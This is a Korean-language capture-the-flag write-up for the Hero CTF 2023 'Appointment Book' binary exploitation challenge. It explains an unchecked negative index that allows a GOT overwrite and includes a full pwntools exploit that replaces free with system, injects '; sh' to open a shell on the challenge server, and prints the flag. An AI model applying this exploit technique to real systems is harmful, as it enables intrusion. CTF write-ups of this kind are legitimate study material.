Hero CTF 2023 - Appointment Book (*addr = value)

Exploit this application to get the flag!
Host : nc static-03.heroctf.fr 5000
Format : Hero{flag}
Author : SoEasY
easy

  • [68 solves / 298 points]

Analysis

1
2
3
4
5
// main
puts("========== Welcome to your appointment book. ==========");
v5 = time(0LL);
local_time = timestamp_to_date(v5);
printf("\n[LOCAL TIME] %s\n", local_time);

처음에 main 함수에서 local_time을 출력해준다. 왜 출력해주는지 생각을 꼭 해야한다. 출력해 준 다음 여러 메뉴들이 있는데 create_appointment 메뉴만 보면 된다.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
unsigned __int64 create_appointment()
{
__int64 value; // rax
int idx; // [rsp+Ch] [rbp-24h] BYREF
void *s; // [rsp+10h] [rbp-20h]
char *v4; // [rsp+18h] [rbp-18h]
__int64 *addr; // [rsp+20h] [rbp-10h]
unsigned __int64 v6; // [rsp+28h] [rbp-8h]

v6 = __readfsqword(0x28u);
s = malloc(0x20uLL);
v4 = malloc(0x40uLL);
memset(s, 0, 0x20uLL);
memset(v4, 0, 0x40uLL);
do
{
printf("[+] Enter the index of this appointment (0-7): ");
fflush(stdout);
__isoc99_scanf("%d", &idx); // oob
getchar();
}
while ( idx > 7 );
addr = (&appointments + 16 * idx);
printf("[+] Enter a date and time (YYYY-MM-DD HH:MM:SS): ");
fflush(stdout);
fgets(s, 30, stdin);
value = date_to_timestamp(s);
*addr = value; // 원하는 주소에 원하는 값 쓰기 가능
printf("[+] Converted to UNIX timestamp using local timezone: %ld\n", *addr);
printf("[+] Enter an associated message (place, people, notes...): ");
fflush(stdout);
fgets(v4, 62, stdin);
addr[1] = v4;
free(s);
return v6 - __readfsqword(0x28u);
}

idxint 자료형을 가지고 있기 때문에 oob가 발생한다. 이 인덱스를 가지고 addr 변수 위로 접근할 수 있다. 위에는 got들이 자리잡고 있는데 원하는 곳에 접근해서 원하는 값을 쓸 수 있다. system("/bin/sh")를 호출하는 함수를 정의해놨기 때문에 이 함수 주소를 쓰면 될 듯 하다.

이때 주의해야할 점이 쓰고 싶은 주소 값을 YYYY-MM-DD HH:MM:SS 형식으로 만들어서 입력해야 date_to_timestamp 함수를 거쳐 정상적인 주소 값을 쓸 수 있게 된다. 그래서 ida에서 date_to_timestamp 함수 구현을 보고 c로 재작성하였다.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
// timestamp_to_date
#include <stdio.h>
#include <time.h>
#include <stdlib.h>

struct tm *tp;
time_t timer;
char* s;

int main(int argc, char** argv) {
timer = atoll(argv[1]);
// scanf("%ld", &timer);
s = malloc(0x20uLL);
tp = localtime(&timer);

if ( !tp )
{
puts("[-] Error converting the UNIX timestamp to a date and time");
fflush(stdout);
exit(1);
}

strftime(s, 0x20uLL, "%Y-%m-%d %H:%M:%S", tp);
printf("%s\n", s);
}

문제에서 정의해준 시스템 함수를 사용해도 되지만 이게 없더라도 익스할 수 있다. freegotsystem으로 덮고 command injection을 이용해서 원하는 값을 넣을 때 ; sh도 함께 넣어주었다.

Solve

처음에 로컬에서는 잘 되었는데 리모트는 죽어도 되질 않았다. 그 이유는 로컬과 리모트의 local_time이 다르기 때문이다. 문제 초반에 출력을 해주므로 타임존을 알아내서 TZ 환경변수를 아래처럼 바꿔주었다.

1
export TZ=IS

Exploit Code

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
from pwn import *
import subprocess

context.arch = 'amd64'
#context.log_level = 'DEBUG'

e = ELF('./appointment_book')
# p = process('./appointment_book')
p = remote('static-03.heroctf.fr', 5000)

# export TZ=IS

p.sendlineafter(':', '2')
p.sendlineafter(':', '-13')

timestr = subprocess.check_output(['./timestamp_to_date', str(0x401180)]).strip()
print(repr(timestr))
p.sendlineafter(':', timestr + b' ; sh')
# p.sendlineafter(':', '1970-02-18 15:27:02')
p.sendlineafter(':', p64(0))

p.sendlineafter(':', '3')


p.interactive()

Flag

1
Hero{Unch3ck3d_n3g4t1v3_1nd3x_1nt0_G0T_0v3wr1t3_g03s_brrrrrr}